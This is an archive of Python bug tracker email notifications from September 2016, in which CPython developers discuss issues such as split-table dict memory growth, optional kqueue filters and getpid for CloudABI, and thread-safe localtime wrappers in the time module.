Modules/posixmodule.c:10256:5: warning: code will never be executed [-Wunreachable-code]
Modules/zipimport.c:1004:22: warning: code will never be executed [-Wunreachable-code]
Modules/faulthandler.c:988:5: warning: code will never be executed [-Wunreachable-code]

See also my change ea00c88f7f42 which fixed a similar issue in Parser/grammar.c.

See also the issue #14656.

----------
messages: 276448
nosy: benjamin.peterson, haypo, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Clang warnings: code will never be executed
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28152>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:45:38 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Wed, 14 Sep 2016 13:45:38 +0000
Subject: [issue28145] Fix whitespace in C source code
In-Reply-To: <1473850786.65.0.167663767875.issue28145@psf.upfronthosting.co.za>
Message-ID: <1473860738.39.0.972687325693.issue28145@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

It's also worth noting that "make patchcheck", which we're encouraged to use by the Python developer's guide, autofixes these whitespace issues. I find that somewhat annoying, since "make patchcheck" makes changes unrelated to the patch I'm committing, which I then have to manually undo. But if the codebase were clean with respect to these whitespace issues, that wouldn't be a problem.

----------
nosy: +mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28145>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:47:11 2016
From: report at bugs.python.org (Min RK)
Date: Wed, 14 Sep 2016 13:47:11 +0000
Subject: [issue28147] Memory leak in new 3.6 dictionary resize
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473860831.57.0.402210718923.issue28147@psf.upfronthosting.co.za>


Min RK added the comment:

> dictresize() is called for converting split table to combined table.
> How is it triggered many times?

every `self.__dict__.pop` triggers a resize. According to https://www.python.org/dev/peps/pep-0412/#split-table-dictionaries `obj.__dict__` is always a split-table dict. I do not understand the dict implementation enough to say precisely why, but `pop` forces a recombine via `resize` because split-table dicts don't support deletion. In `dict_resize`, due to a `<=minused` condition, the size is guaranteed to at least double every time `dict_resize` is called. It would appear that after this, `__dict__` is again forced to be a split-table dict, though I'm not sure how or where this happens, but good old-fashioned printf debugging shows that `dict_resize` is called for every `__dict__.pop` because _PyDict_HasSplitTable is true every time pop is called.


> In your test code, which loop cause leak? new instance loop or re-use instance loop?

Both loops cause the leak. If the `pop_attr()` is not in `__init__`, then only the re-used instance has the leak. if `pop_attr` is in `__init__`, then it happens across instances as well. I will try to add more comments in the code to make this clearer.

Does anyone have a handy way to create a split-table dict other than on `obj.__dict__`?


> Please add an unit test which triggers the memory leak

I should not have used the term memory leak, and have updated the title to be more precise. It is not memory allocated without a corresponding free, instead it is unbounded growth of the memory owned by a split-table dict. Cleaning up the object does indeed clean up the memory associated with it. The included test exercises the bug with several iterations. Running the test several times with only one iteration would not exercise the bug.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:51:38 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 14 Sep 2016 13:51:38 +0000
Subject: [issue28147] Memory leak in new 3.6 dictionary resize
In-Reply-To: <1473860831.57.0.402210718923.issue28147@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwY=8uV9p8hCbtsnKvRyzToD1tELx6q0R8pA6H8AnnLu=Q@mail.gmail.com>


STINNER Victor added the comment:

> According to https://www.python.org/dev/peps/pep-0412/#split-table-dictionaries `obj.__dict__` is always a split-table dict.

Hum, this PEP is now probably outdated since Python 3.6 beta 1 :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 09:59:04 2016
From: report at bugs.python.org (Min RK)
Date: Wed, 14 Sep 2016 13:59:04 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473861544.21.0.146234210398.issue28147@psf.upfronthosting.co.za>


Min RK added the comment:

> Ah, is the leak happen in 3.6b1?

The leak happens in 3.6b1 and master as of an hour ago (git: 3c06edfe9463f1cf81bc34b702f165ad71ff79b8, hg:r103797)

----------
title: Memory leak in new 3.6 dictionary resize -> Unbounded memory growth resizing split-table dicts

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 10:08:04 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 14 Sep 2016 14:08:04 +0000
Subject: [issue28143] ASDL compatibility with Python 3 system interpreter
In-Reply-To: <1473843180.28.0.653391200015.issue28143@psf.upfronthosting.co.za>
Message-ID: <1473862084.1.0.0638010100649.issue28143@psf.upfronthosting.co.za>


R. David Murray added the comment:

It's probably not a bad thing to fix this, but you should be able to avoid the problem by using 'make touch' before building.  It should not be necessary to have a running python to build python; all the build artifacts are checked in.  Specifically, the release tarballs should build without an existing python, and if they don't, that's a release packaging problem.

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28143>
_______________________________________

From report at bugs.python.org  Wed Sep 14 10:13:58 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 14 Sep 2016 14:13:58 +0000
Subject: [issue28135] assertRaises should return the exception in its simple
 form
In-Reply-To: <1473797531.08.0.417014131559.issue28135@psf.upfronthosting.co.za>
Message-ID: <1473862438.19.0.226538319058.issue28135@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

-0 This doesn't feel Pythonic to me.

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28135>
_______________________________________

From report at bugs.python.org  Wed Sep 14 10:14:44 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 14 Sep 2016 14:14:44 +0000
Subject: [issue28145] Fix whitespace in C source code
In-Reply-To: <1473850786.65.0.167663767875.issue28145@psf.upfronthosting.co.za>
Message-ID: <1473862484.61.0.66635276138.issue28145@psf.upfronthosting.co.za>


R. David Murray added the comment:

A while ago Antoine fixed the leading tabs throughout the C source, after considerable debate about it.  So we've been down this road before.  Since I don't touch the C code often, I don't really have an opinion on this one way or the other :)

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28145>
_______________________________________

From report at bugs.python.org  Wed Sep 14 10:15:07 2016
From: report at bugs.python.org (Min RK)
Date: Wed, 14 Sep 2016 14:15:07 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473862507.85.0.596370111869.issue28147@psf.upfronthosting.co.za>


Min RK added the comment:

I pulled just now and saw changes in dictobject.c, and just wanted to confirm the memory growth bug is still in changeset 56294e03ad89 (I think I used the right hash, this time).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 10:19:27 2016
From: report at bugs.python.org (Eryk Sun)
Date: Wed, 14 Sep 2016 14:19:27 +0000
Subject: [issue28114] parse_envlist(): os.execve(), os.spawnve(),
 etc. crash in Python 3.6.0 when env contains byte strings
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473862767.9.0.527417451176.issue28114@psf.upfronthosting.co.za>


Eryk Sun added the comment:

Thanks for the spawn test framework, Victor. I've added a use_bytes argument to encode the args and env using os.fsencode. It's encoding args as well because parse_arglist calls fsconvert_strdup, which was assuming Unicode strings on Windows instead of first calling PyUnicode_FSDecoder. test_spawnve_bytes passes for me on Linux and Windows.

----------
Added file: http://bugs.python.org/file44661/issue_28114_02.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Wed Sep 14 10:44:34 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 14 Sep 2016 14:44:34 +0000
Subject: [issue28135] assertRaises should return the exception in its simple
 form
In-Reply-To: <1473797531.08.0.417014131559.issue28135@psf.upfronthosting.co.za>
Message-ID: <1473864274.09.0.788606130353.issue28135@psf.upfronthosting.co.za>


R. David Murray added the comment:

This has been proposed and rejected several times before.

IMO, a strong reason to reject it is that no other assert methods return values.  Consistency is important.

Also note that cm survives the context manager, so you don't need that assignment statement.

----------
nosy: +r.david.murray
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> unittest.assertRaises() return the raised exception

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28135>
_______________________________________

From report at bugs.python.org  Wed Sep 14 11:00:32 2016
From: report at bugs.python.org (Ed Schouten)
Date: Wed, 14 Sep 2016 15:00:32 +0000
Subject: [issue28153] [Patch] selectmodule: Make kqueue()'s event filters
 optional
Message-ID: <1473865232.9.0.464670005875.issue28153@psf.upfronthosting.co.za>


New submission from Ed Schouten:

Just like the BSDs and Mac OS X, CloudABI (https://mail.python.org/pipermail/python-dev/2016-July/145708.html) provides support for kqueue(). Its implementation, however, is far more limited. It can only be used for polling on descriptors (EVFILT_READ/EVFILT_WRITE) and waiting on timers (EVFILT_TIMER).

The existing selectmodule already allows some filters to be present optionally (e.g., EVFILT_NETDEV). The attached patch extends this work by only defining the filter and corresponding filter flags when available.

I've also added guards around EV_SYSFLAGS and EV_FLAG1. EV_SYSFLAGS is a flag that's typically only used by the kernel to trim off flags that are only used internally. EV_FLAG1 is an example of such a flag, which seems to be used by FreeBSD to mark incoming AIO events as validated. I would even go as far as to remove these two flags from the module entirely, but let's not take the risk.

----------
components: Extension Modules
files: patch-kqueue-EVFILT
messages: 276459
nosy: EdSchouten
priority: normal
severity: normal
status: open
title: [Patch] selectmodule: Make kqueue()'s event filters optional
versions: Python 3.6
Added file: http://bugs.python.org/file44662/patch-kqueue-EVFILT

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28153>
_______________________________________

From report at bugs.python.org  Wed Sep 14 11:04:03 2016
From: report at bugs.python.org (Filip Stefanov)
Date: Wed, 14 Sep 2016 15:04:03 +0000
Subject: [issue28154] Core dump after importing lxml in Python3.6b
Message-ID: <1473865443.78.0.10743047881.issue28154@psf.upfronthosting.co.za>


New submission from Filip Stefanov:

fstefanov at lin-0360: ~/bin/python/vm/python3.6b/bin 
$ python

Python 3.6.0b1 (default, Sep 14 2016, 11:15:36) 
[GCC 4.8.4] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import lxml as xxl
*** Error in `python': free(): invalid pointer: 0x00007f65d052b258 ***
Aborted (core dumped)
(python3.6b) 

$ pip list | grep lxml
lxml (3.6.4)

----------
components: Interpreter Core
messages: 276460
nosy: philip.stefanov
priority: normal
severity: normal
status: open
title: Core dump after importing lxml in Python3.6b
type: crash
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28154>
_______________________________________

From report at bugs.python.org  Wed Sep 14 11:06:14 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 14 Sep 2016 15:06:14 +0000
Subject: [issue28154] Core dump after importing lxml in Python3.6b
In-Reply-To: <1473865443.78.0.10743047881.issue28154@psf.upfronthosting.co.za>
Message-ID: <1473865574.64.0.46473897631.issue28154@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28154>
_______________________________________

From report at bugs.python.org  Wed Sep 14 11:12:28 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 14 Sep 2016 15:12:28 +0000
Subject: [issue28154] Core dump after importing lxml in Python3.6b
In-Reply-To: <1473865443.78.0.10743047881.issue28154@psf.upfronthosting.co.za>
Message-ID: <1473865948.97.0.125559337984.issue28154@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I can't reproduce the problem with the latest checkout of Python 3.6. The crash might have been caused by #28120. Can you try again with a refresh checkout from hg.python.org?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28154>
_______________________________________

From report at bugs.python.org  Wed Sep 14 11:12:45 2016
From: report at bugs.python.org (Eryk Sun)
Date: Wed, 14 Sep 2016 15:12:45 +0000
Subject: [issue28114] parse_envlist(): os.execve(), os.spawnve(),
 etc. crash in Python 3.6.0 when env contains byte strings
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473865965.91.0.633538394386.issue28114@psf.upfronthosting.co.za>


Changes by Eryk Sun <eryksun+pybugs at gmail.com>:


Added file: http://bugs.python.org/file44663/issue_28114_03.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Wed Sep 14 11:16:50 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 14 Sep 2016 15:16:50 +0000
Subject: [issue28153] [Patch] selectmodule: Make kqueue()'s event filters
 optional
In-Reply-To: <1473865232.9.0.464670005875.issue28153@psf.upfronthosting.co.za>
Message-ID: <20160914151640.7377.15221.6EF9EF3B@psf.io>


Roundup Robot added the comment:

New changeset 57ff729e923f by Berker Peksag in branch '3.6':
Issue #28153: Make kqueue()'s event filters optional
https://hg.python.org/cpython/rev/57ff729e923f

New changeset 6c5f9c6c25ea by Berker Peksag in branch 'default':
Issue #28153: Merge from 3.6
https://hg.python.org/cpython/rev/6c5f9c6c25ea

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28153>
_______________________________________

From report at bugs.python.org  Wed Sep 14 11:17:19 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 14 Sep 2016 15:17:19 +0000
Subject: [issue28153] [Patch] selectmodule: Make kqueue()'s event filters
 optional
In-Reply-To: <1473865232.9.0.464670005875.issue28153@psf.upfronthosting.co.za>
Message-ID: <1473866239.36.0.632502571337.issue28153@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks!

----------
nosy: +berker.peksag
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
type:  -> behavior
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28153>
_______________________________________

From report at bugs.python.org  Wed Sep 14 11:19:37 2016
From: report at bugs.python.org (Steve Dower)
Date: Wed, 14 Sep 2016 15:19:37 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
In-Reply-To: <1473769943.75.0.0646288473229.issue28126@psf.upfronthosting.co.za>
Message-ID: <1473866377.6.0.531905202616.issue28126@psf.upfronthosting.co.za>


Steve Dower added the comment:

> They might get a tiny bit faster on Windows, if they have used Py_MEMCPY() for up to 16 bytes

Even that's unlikely as the loop in the macro would have been unrolled in practically every case.

This is about removing an unnecessary macro. Certainly no API change unless we delete it entirely (which I'm okay with), and IMHO if it has an issue number it should go in NEWS. Maybe build is the right section?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Wed Sep 14 11:23:02 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 14 Sep 2016 15:23:02 +0000
Subject: [issue28114] parse_envlist(): os.execve(), os.spawnve(),
 etc. crash in Python 3.6.0 when env contains byte strings
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473866582.88.0.275293799646.issue28114@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Eryk's patch looks good to me, thanks! I will wait for others to review the patch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Wed Sep 14 11:33:30 2016
From: report at bugs.python.org (Filip Stefanov)
Date: Wed, 14 Sep 2016 15:33:30 +0000
Subject: [issue28154] Core dump after importing lxml in Python3.6b
In-Reply-To: <1473865443.78.0.10743047881.issue28154@psf.upfronthosting.co.za>
Message-ID: <1473867210.85.0.405808127229.issue28154@psf.upfronthosting.co.za>


Filip Stefanov added the comment:

My source was out of date... You are right now is working fine 
Sorry for the time wasted. :)

----------
resolution:  -> out of date
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28154>
_______________________________________

From report at bugs.python.org  Wed Sep 14 11:57:28 2016
From: report at bugs.python.org (=?utf-8?b?0JDQvdC00YDQtdC5INCc0L7RgNC+0LfRjNC60L4=?=)
Date: Wed, 14 Sep 2016 15:57:28 +0000
Subject: [issue28155] Small typo in Json docs
Message-ID: <1473868648.18.0.394667833494.issue28155@psf.upfronthosting.co.za>


New submission from ?????? ????????:

In Json module, example titled "Using json.tool from the shell to validate and pretty-print:"
5th line reads:
echo '{1.2:3.4}' | python -mjson.tool
should
echo '{1.2:3.4}' | python -m json.tool

----------
assignee: docs at python
components: Documentation
messages: 276467
nosy: docs at python, ?????? ????????
priority: normal
severity: normal
status: open
title: Small typo in Json docs
type: enhancement
versions: Python 2.7, Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28155>
_______________________________________

From report at bugs.python.org  Wed Sep 14 12:02:20 2016
From: report at bugs.python.org (SilentGhost)
Date: Wed, 14 Sep 2016 16:02:20 +0000
Subject: [issue28155] Small typo in Json docs
In-Reply-To: <1473868648.18.0.394667833494.issue28155@psf.upfronthosting.co.za>
Message-ID: <1473868940.61.0.893026135783.issue28155@psf.upfronthosting.co.za>


SilentGhost added the comment:

The space between -m switch and module name is not mandatory as you should be able to see if you run those examples.

----------
nosy: +SilentGhost
resolution:  -> not a bug
stage:  -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28155>
_______________________________________

From report at bugs.python.org  Wed Sep 14 12:02:36 2016
From: report at bugs.python.org (SilentGhost)
Date: Wed, 14 Sep 2016 16:02:36 +0000
Subject: [issue28155] Small typo in Json docs
In-Reply-To: <1473868648.18.0.394667833494.issue28155@psf.upfronthosting.co.za>
Message-ID: <1473868956.59.0.713329489218.issue28155@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28155>
_______________________________________

From report at bugs.python.org  Wed Sep 14 12:16:45 2016
From: report at bugs.python.org (Zachary Ware)
Date: Wed, 14 Sep 2016 16:16:45 +0000
Subject: [issue28155] Small typo in Json docs
In-Reply-To: <1473868648.18.0.394667833494.issue28155@psf.upfronthosting.co.za>
Message-ID: <1473869805.08.0.908693818199.issue28155@psf.upfronthosting.co.za>


Zachary Ware added the comment:

See 05e8b25379a3, though; it may be worth a backport.  Not to 3.3, though; it's docs are not being updated anymore.

----------
nosy: +zach.ware
versions:  -Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28155>
_______________________________________

From report at bugs.python.org  Wed Sep 14 12:45:15 2016
From: report at bugs.python.org (Ed Schouten)
Date: Wed, 14 Sep 2016 16:45:15 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <1473871515.5.0.768531376385.issue28148@psf.upfronthosting.co.za>


Changes by Ed Schouten <ed at nuxi.nl>:


----------
title: Also stop using localtime() in timemodule -> [Patch] Also stop using localtime() in timemodule

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 12:53:50 2016
From: report at bugs.python.org (Ed Schouten)
Date: Wed, 14 Sep 2016 16:53:50 +0000
Subject: [issue28156] [Patch] posixmodule: Make the presence of os.getpid()
 optional
Message-ID: <1473872030.91.0.717541080729.issue28156@psf.upfronthosting.co.za>


New submission from Ed Schouten:

CloudABI (https://mail.python.org/pipermail/python-dev/2016-July/145708.html) does not provide getpid(). Though this may sound quite silly at first, there is quite a good reason for this. One of the things that CloudABI wants to achieve is making large scale (cluster/cloud) computing easier. In such an environment there is rarely a need for having machine-local unique process identifiers. They have to be globally unique and preferably not recycled.

POSIX requires that pid_t is a signed integer that must have a positive value. Most C compilers only provide full support for integers up to 64 bits in size. This means that CloudABI could only provide 63-bit process identifiers, which is far smaller than, say, a UUID. For this reason we've decided to omit getpid() altogether.

Attached is a patch that makes use of the already existing HAVE_GETPID definition in pyconfig.h to disable the os.getpid() function that is part of the posixmodule.

----------
components: Extension Modules
files: patch-no-getpid
messages: 276470
nosy: EdSchouten
priority: normal
severity: normal
status: open
title: [Patch] posixmodule: Make the presence of os.getpid() optional
versions: Python 3.6
Added file: http://bugs.python.org/file44664/patch-no-getpid

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28156>
_______________________________________

From report at bugs.python.org  Wed Sep 14 14:27:13 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 18:27:13 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <1473877633.29.0.226895792099.issue28148@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

Yes, I think this is a good idea.  I was hesitant to make this change while #22798 was open because I thought we may end up exposing changes to tzname caused by localtime and friends.

I also believe we can classify this as a bug-fix because side-effects of localtime are often undesirable.  Nevertheless, I would like to hear from more people before accepting this.

----------
assignee:  -> belopolsky
nosy: +akira, belopolsky, haypo, lemburg, pitrou, tim.peters
stage:  -> patch review
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 14:30:34 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 18:30:34 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <1473877834.44.0.359065983254.issue28148@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

> What would be the right location for [the Windows wrappers]?

I would say Include/pytime.h:

/**************************************************************************
Symbols and macros to supply platform-independent interfaces to time related
functions and constants
**************************************************************************/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 14:41:56 2016
From: report at bugs.python.org (Sye van der Veen)
Date: Wed, 14 Sep 2016 18:41:56 +0000
Subject: [issue16384] import.c doesn't handle EOFError from PyMarshal_Read*
In-Reply-To: <1351796179.35.0.165892579115.issue16384@psf.upfronthosting.co.za>
Message-ID: <1473878516.5.0.59036420293.issue16384@psf.upfronthosting.co.za>


Sye van der Veen added the comment:

I would also agree that failing to load the main codec should be an abort.  This bug was specifically the race condition in writing the .pyc file.

Thanks for all your help!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16384>
_______________________________________

From report at bugs.python.org  Wed Sep 14 14:41:57 2016
From: report at bugs.python.org (Ed Schouten)
Date: Wed, 14 Sep 2016 18:41:57 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <1473878517.19.0.561511426402.issue28148@psf.upfronthosting.co.za>


Ed Schouten added the comment:

Hi Alexander,

I'm absolutely no expert when it comes to the Python codebase, so I've got a question. If we're going to movein this to Include/pytime.h, we should likely introduce full wrappers that have a name starting with _PyTime_, right?

This header seem to be part of the installation, so we should likely not declare any commonly used symbols there.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 14:56:34 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 18:56:34 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <1473879394.01.0.636516281639.issue28148@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

> we should likely introduce full wrappers that have a name starting with _PyTime_, right?


Yes, and I would like to give some thought to what the best API would be. The two choices are to emulate localtime_r on Windows or emulate localtime_s on POSIX. While localtime_r is probably a better known function, localtime_s has been standardized by C11 and may appear on POSIX platforms in the future.

Also, I think _PyTime_localtime_r/s should include the 

 #ifdef EINVAL
         if (errno == 0)
             errno = EINVAL;
 #endif

code that is repeated everywhere in the current codebase.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 15:01:04 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 19:01:04 +0000
Subject: [issue26669] time.localtime(float("NaN")) does not raise a ValueError
 on all platforms
In-Reply-To: <1459322243.53.0.921219428076.issue26669@psf.upfronthosting.co.za>
Message-ID: <1473879664.74.0.810160418346.issue26669@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
assignee:  -> belopolsky
nosy: +belopolsky
stage:  -> needs patch
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26669>
_______________________________________

From report at bugs.python.org  Wed Sep 14 15:08:31 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 19:08:31 +0000
Subject: [issue22799] wrong time.timezone
In-Reply-To: <1415199606.3.0.192697818647.issue22799@psf.upfronthosting.co.za>
Message-ID: <1473880111.38.0.41070155934.issue22799@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

Closing. See #22798 for the reasons why synchronizing C variables with the time module constants is not a solution.

----------
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22799>
_______________________________________

From report at bugs.python.org  Wed Sep 14 15:10:01 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 14 Sep 2016 19:10:01 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1473880201.68.0.126875416935.issue28147@psf.upfronthosting.co.za>


INADA Naoki added the comment:

I confirmed and investigated it.  Thanks!
I'll post patch including more test in 24 hours.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Wed Sep 14 15:17:06 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 19:17:06 +0000
Subject: [issue28157] Document time module constants (timezone, tzname,
 etc.) as deprecated.
Message-ID: <1473880626.53.0.480703935063.issue28157@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky:

The time module defines timezone, altzone, tzname and daylight constants that store information about system timezone.  This information is derived  from the timezone rules that are in effect at the module loading time, but may be incorrect for the times in the past.  The documentation should warn the user about this and recommend using the tm_zone and tm_gmtoff attributes in the result of time.localtime() to obtain timezone information.  See #22799 and msg148208.

----------
assignee: belopolsky
components: Documentation
messages: 276478
nosy: belopolsky
priority: normal
severity: normal
stage: needs patch
status: open
title: Document time module constants (timezone, tzname, etc.) as deprecated.
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28157>
_______________________________________

From report at bugs.python.org  Wed Sep 14 15:17:21 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 19:17:21 +0000
Subject: [issue22799] wrong time.timezone
In-Reply-To: <1415199606.3.0.192697818647.issue22799@psf.upfronthosting.co.za>
Message-ID: <1473880641.81.0.961559280854.issue22799@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
superseder:  -> Document time module constants (timezone, tzname, etc.) as deprecated.

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22799>
_______________________________________

From report at bugs.python.org  Wed Sep 14 15:21:42 2016
From: report at bugs.python.org (Ed Schouten)
Date: Wed, 14 Sep 2016 19:21:42 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <1473880902.29.0.158189348761.issue28148@psf.upfronthosting.co.za>


Ed Schouten added the comment:

As a person who keeps a close eye on the Austin Group mailing lists (i.e., 'the POSIX working group'), my guess is that it's very unlikely that POSIX will ever add those *_s() extensions. Here's a discussion on Reddit that actually captures all of the arguments pretty well:

https://www.reddit.com/r/C_Programming/comments/3ivi77/eli5_why_does_glibc_still_not_support_the/

That said, any API will do. The localtime_r() function has the disadvantage that the return value is a bit odd: can it return any other tm structure than the one provided? localtime_s() is a bit weird in that its input argument is stored after the output argument. Both functions also unnecessarily pass the time_t by reference. Maybe we can just pick a prototype that's as Pythonesque as possible that also fixes these shortcomings. Any thoughts?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
_______________________________________

From report at bugs.python.org  Wed Sep 14 15:25:01 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Wed, 14 Sep 2016 19:25:01 +0000
Subject: [issue28148] [Patch] Also stop using localtime() in timemodule
In-Reply-To: <1473856529.08.0.0656229512786.issue28148@psf.upfronthosting.co.za>
Message-ID: <1473881101.61.0.409434326058.issue28148@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

> Maybe we can just pick a prototype that's as Pythonesque as possible that also fixes these shortcomings. Any thoughts?

Yes, and just call it _PyTime_localtime without the ugly suffix.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28148>
